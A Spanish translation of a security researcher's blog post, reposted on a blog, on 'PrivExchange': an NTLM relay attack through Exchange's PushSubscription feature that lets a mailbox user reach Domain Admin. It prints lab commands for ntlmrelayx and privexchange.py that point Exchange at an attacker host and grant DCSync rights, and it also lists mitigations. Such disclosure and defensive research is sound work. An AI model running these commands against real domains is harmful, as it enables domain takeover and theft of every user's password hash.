Una vulnerabilidad en Microsoft Exchange podría ser explotada para convertirse en administrador de dominio

En la mayoría de las organizaciones que usan Active Directory y Exchange, los servidores de Exchange tienen privilegios tan altos que ser administrador en un servidor de Exchange es suficiente para escalar a Domain Admin. Recientemente, encontré un blog de ZDI, en el que detallan una forma de permitir que Exchange se autentique a los atacantes que usan NTLM a través de HTTP. Esto se puede combinar con un ataque de retransmisión NTLM para escalar de cualquier usuario con un buzón a Administrador de dominio en probablemente el 90% de las organizaciones que he visto que usan Exchange. Este ataque es posible de forma predeterminada y, si bien no hay parches disponibles en el momento de la escritura, existen mitigaciones que se pueden aplicar para evitar esta escalada de privilegios. Este blog detalla el ataque, algunos de los detalles más técnicos y mitigaciones, así como el lanzamiento de una herramienta de prueba de concepto. para este ataque que he apodado “PrivExchange”.

Combinando vulnerabilidades conocidas de una manera nueva.

Este blog combina algunas vulnerabilidades conocidas y debilidades de protocolo conocidas en un nuevo ataque. Hay 3 componentes que se combinan para escalar desde cualquier usuario con un buzón de correo al acceso de administrador de dominio:

  • Los servidores de Exchange tienen (también) altos privilegios por defecto
  • La autenticación NTLM es vulnerable a los ataques de retransmisión
  • Exchange tiene una característica que lo hace autenticar a un atacante con la cuenta de computadora del servidor de Exchange

Intercambio y altos privilegios.

La principal vulnerabilidad aquí es que Exchange tiene altos privilegios en el dominio de Active Directory. El Exchange Windows Permissions grupo tiene WriteDaclacceso en el objeto Dominio en Active Directory, que permite a cualquier miembro de este grupo modificar los privilegios de dominio, entre los cuales se encuentra el privilegio para realizar operaciones de sincronización DC. Los usuarios o las computadoras con este privilegio pueden realizar operaciones de sincronización que normalmente usan los controladores de dominio para replicar, lo que permite a los atacantes sincronizar todas las contraseñas con hash de los usuarios en el Active Directory. Esto ha sido cubierto por varios investigadores (consulte la sección de referencias al final de esta publicación), y el año pasado escribí al respecto con mi colega de Fox-IT Rindert . Con esa publicación también lancé una actualización a ntlmrelayx eso agrega la posibilidad de realizar estos ataques basados ​​en la Lista de control de acceso (ACL) mientras se retransmite NTLM.

Cuentas de máquina de retransmisión NTLM

La retransmisión NTLM ha existido por un tiempo. Anteriormente, el enfoque principal de esto era la transmisión de la autenticación NTLM a través de SMB para obtener la ejecución del código en otros hosts. Aunque, lamentablemente, esto sigue siendo una posibilidad en muchas redes de empresas que no se refuerzan contra esto al permitir la firma de SMB, otros protocolos también son vulnerables a la retransmisión. El protocolo más interesante para esto es, en mi opinión, LDAP, que se puede usar para leer y modificar objetos en el directorio (Activo), a menos que se apliquen las mitigaciones, es posible pasar la autenticación que Windows realiza (automáticamente) cuando se conecta a la máquina del atacante a otras máquinas en la red, como se muestra en la imagen a continuación:

Cuando la autenticación se retransmite a LDAP, los objetos en el directorio pueden modificarse para otorgar privilegios a un atacante, incluidos los privilegios requeridos para las operaciones DCSync. Por lo tanto, si podemos lograr que un servidor de Exchange nos autentique con la autenticación NTLM, podemos realizar el ataque de ACL. Se debe tener en cuenta que la transmisión a LDAP solo funciona si la víctima se autentica a nosotros a través de HTTP, no a través de SMB (consulte la sección “Los bits técnicos” para obtener una explicación).

Obteniendo Exchange para autenticar

El único componente que faltaba hasta ahora era una forma fácil de hacer que Exchange se autentique con nosotros. Un investigador de ZDI (que permanece sin nombre en su artículo) descubrió que es posible lograr que Exchange se autentique en una URL arbitraria a través de HTTP a través de la PushSubscription función Exchange . En su blog utilizaron esta vulnerabilidad para retransmitir la autenticación NTLM a Exchange (esto se denomina un ataque de reflexión) y suplantar a otros usuarios. Si, por el contrario, combinamos esto con los altos privilegios que Exchange tiene de forma predeterminada y realizamos un ataque de retransmisión en lugar de un ataque de reflexión, podemos usar estos privilegios para otorgarnos derechos de sincronización DCS. El servicio de notificación push tiene una opción para enviar un mensaje cada X minutos (donde X puede ser especificado por el atacante), incluso si no ocurrió ningún evento. Esto es algo que garantiza que Exchange se conectará con nosotros incluso si no hay actividad en una bandeja de entrada.

Realizando el ataque de escalada de privilegios.

A continuación se muestra un esquema del ataque anterior, que muestra los pasos que se realizan para aumentar los privilegios:

Necesitamos dos herramientas para realizar el ataque, privexchange.pyntlmrelayx. Puede obtener ambos en GitHub en los repositorios PrivExchange e impacket . Inicie ntlmrelayx en modo de retransmisión con LDAP en un controlador de dominio como destino, y suministre a un usuario bajo el control de los atacantes para aumentar los privilegios con (en este caso, el ntuusuario):

Ahora ejecutamos el privexchange.py script:

ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu

Ahora ejecutamos el privexchange.pyscript:

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local
Password: 
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a different user.

Cuando esto se ejecuta con un usuario que no tiene un buzón, obtendremos el error anterior. Intentémoslo de nuevo con un usuario que tenga un buzón asociado:

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local 
Password: 
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful

Después de un minuto (que es el valor suministrado para la notificación de inserción), vemos que la conexión entra en ntlmrelayx, lo que le otorga a nuestro usuario privilegios DCSync:

Confirmamos que los derechos de DCSync están en su lugar con secretsdump:

Con toda la contraseña con hash de todos los usuarios de Active Directory, el atacante puede crear tickets dorados para hacerse pasar por cualquier usuario, o usar cualquier hash de contraseña de usuarios para autenticar en cualquier servicio que acepte la autenticación NTLM o Kerberos en el dominio.

Los bits técnicos – retransmisión a LDAP y firma.

Anteriormente mencioné que la transmisión de SMB a LDAP no funciona, por lo que este ataque no se puede realizar utilizando, por ejemplo, el abuso de SpoolService RPC que se lanzó recientemente (ya que esto se autentica a través de SMB). Ya que las preguntas sobre esto siguen apareciendo y hay mucha confusión sobre esto, veamos por qué es esto. Si no está buscando una inmersión profunda en la autenticación NTLM, no dude en omitir esta sección :).

La diferencia entre la autenticación NTLM en SMB y HTTP se encuentra en los indicadores que se negocian de forma predeterminada. La parte problemática es la NTLMSSP_NEGOTIATE_SIGNbandera ( 0x00000010), documentada en la sección 2.2.2.5 de MS-NLMP . La autenticación NTLM a través de HTTP no establece este indicador de manera predeterminada, pero si se usa sobre SMB, este indicador se establecerá de manera predeterminada:

Cuando transmitamos esto a LDAP, la autenticación tendrá éxito, pero LDAP esperará que todos los mensajes se firmen con una clave de sesión derivada de la contraseña (que no tenemos en un ataque de retransmisión). Por lo tanto, ignorará cualquier mensaje sin firma, causando que nuestro ataque falle. Uno puede preguntarse si es posible modificar estas banderas en tránsito, de modo que la firma no se negocie. Esto no funcionará en las versiones modernas de Windows, ya que incluirán un MIC (código de integridad del mensaje) de forma predeterminada, que es una firma basada en los 3 mensajes NTLM, por lo que cualquier modificación en cualquiera de los mensajes lo hará inválido.

¿Podemos eliminar el MIC? Bueno, sí, podemos, ya que no está en una parte protegida del mensaje NTLM. Sin embargo, hay una última protección en la autenticación NTLM (solo NTLMv2) que evita esto: en lo profundo de la respuesta NTLMv2, que en sí misma está firmada con la contraseña de la víctima, existe una AV_PAIRestructura a la que se llama MsvAvFlags. Cuando este campo tiene el valor 0x0002, indica que el cliente envió un MIC junto con el mensaje de tipo 3.

La modificación de la respuesta NTLMv2 invalidará la autenticación, por lo que no podemos eliminar este campo de indicadores. El campo del indicador indica que se calculó e incluyó un MIC, lo que hará que el servidor de destino valide el MIC, lo que a su vez valida que los 3 mensajes no se hayan modificado en tránsito, por lo que no podemos eliminar el indicador de firma.

Esto es válido para (creo) solo la implementación de Microsoft NTLM. Lo más probable es que los dispositivos personalizados que implementan NTLM no disminuyan hasta el nivel de agregar el MIC y los AV_PAIRindicadores, lo que los hace vulnerables a la modificación del indicador y, por lo tanto, hacen posible la retransmisión SMB -> LDAP. Un ejemplo de esto es la implementación Java de NTLM, que se puede modificar en tránsito para evitar las medidas de seguridad.

Realizando el ataque sin ninguna credencial por completo.

En la sección anterior, usamos credenciales comprometidas para realizar el primer paso del ataque. Si un atacante solo está en posición de realizar un ataque a la red, pero no tiene credenciales, aún es posible que Exchange se autentique. Si realizamos un ataque de retransmisión SMB a HTTP (o HTTP a HTTP) (utilizando la falsificación de LLMNR / NBNS / mitm6) podemos retransmitir la autenticación de un usuario en el mismo segmento de red a Exchange EWS y usar sus credenciales para activar la devolución de llamada. He incluido una pequeña modificación httpattack.pyque puede usar con ntlmrelayx para realizar el ataque desde una perspectiva de red sin credenciales (solo necesita modificar su host de atacante ya que está codificado en el archivo):

Mitigaciones

Este ataque depende de varios componentes para funcionar. En blogs anteriores ya he destacado varias defensas contra la retransmisión de NTLM y contra la retransmisión a LDAP específicamente .

Las mitigaciones más importantes aplicables a este ataque son:

  • Elimine los altos privilegios innecesarios que Exchange tiene en el objeto Dominio (vea a continuación algunos enlaces sobre esto).
  • Habilite la firma LDAP y habilite el enlace de canal LDAP para evitar la retransmisión a LDAP y LDAPS respectivamente
  • Impida que los servidores de Exchange realicen conexiones a estaciones de trabajo en puertos arbitrarios.
  • Habilite la protección extendida para la autenticación en los puntos finales de Exchange en IIS (pero no los de Exchange Back End, esto interrumpirá Exchange). Esto verificará los parámetros de enlace del canal en la autenticación NTLM, que vincula la autenticación NTLM a una conexión TLS y evitará la transmisión a los servicios web de Exchange.
  • Elimine la clave de registro que hace posible la retransmisión al servidor de Exchange, como se explica en la mitigación de Microsofts para CVE-2018-8518 .
  • Imponga la firma de SMB en los servidores de Exchange (y preferiblemente todos los demás servidores y estaciones de trabajo en el dominio) para evitar ataques de retransmisión de protocolo cruzado a SMB.
  • Si no se utilizan las suscripciones de inserción / extracción de EWS, se pueden desactivar configurando las suscripciones de EWSMax a 0 con una política de limitación, tal como lo descubrió @gentilkiwi aquí . No he probado la cantidad de aplicaciones legítimas que utilizan, por lo que se recomienda probarlas con un alcance de usuario pequeño.

Las herramientas / versiones afectadas.

Las herramientas de prueba de concepto se pueden encontrar en https://github.com/dirkjanm/PrivExchange . Han sido probados en las siguientes versiones de Exchange / Windows:

  • Exchange 2013 (CU21) en el servidor 2012R2, retransmitido a un servidor 2016 DC (todo parcheado)
  • Exchange 2016 (CU11) en el servidor 2016, retransmitido a un servidor 2019 DC (completamente parcheado)
  • Exchange 2019 en el servidor 2019, retransmitido a un servidor 2019 DC (gracias a @gentilkiwi por las pruebas)

Los servidores de Exchange anteriores se instalaron utilizando el modo de permiso Compartido (que es el predeterminado), pero de acuerdo con esta revisión, la implementación de los permisos divididos RBAC también es vulnerable (no lo he probado personalmente).

Exchange 2010 SP3 parece estar no afectado, en mi laboratorio esta versión negociada firma SMB similar a como se describió anteriormente, que rompe el ataque de retransmisión (gracias a @ lean0x2f por plantear este). Ambas versiones 14.3.435.0(última actualización en el momento de la escritura) y 14.3.123.4muestran este comportamiento.

Recursos / Referencias

Los siguientes blogs, informes y estudios ofrecen más información sobre estos ataques:

Recursos de mitigación

NTLM retransmitir / firmar discusiones

otras referencias

Síguenos en Facebook para mas información como esta.

Fuente: https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

Anuncios

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión /  Cambiar )

Google photo

Estás comentando usando tu cuenta de Google. Cerrar sesión /  Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión /  Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión /  Cambiar )

Conectando a %s

Crea tu página web en WordPress.com
Empieza ahora
A %d blogueros les gusta esto:
search previous next tag category expand menu location phone mail time cart zoom edit close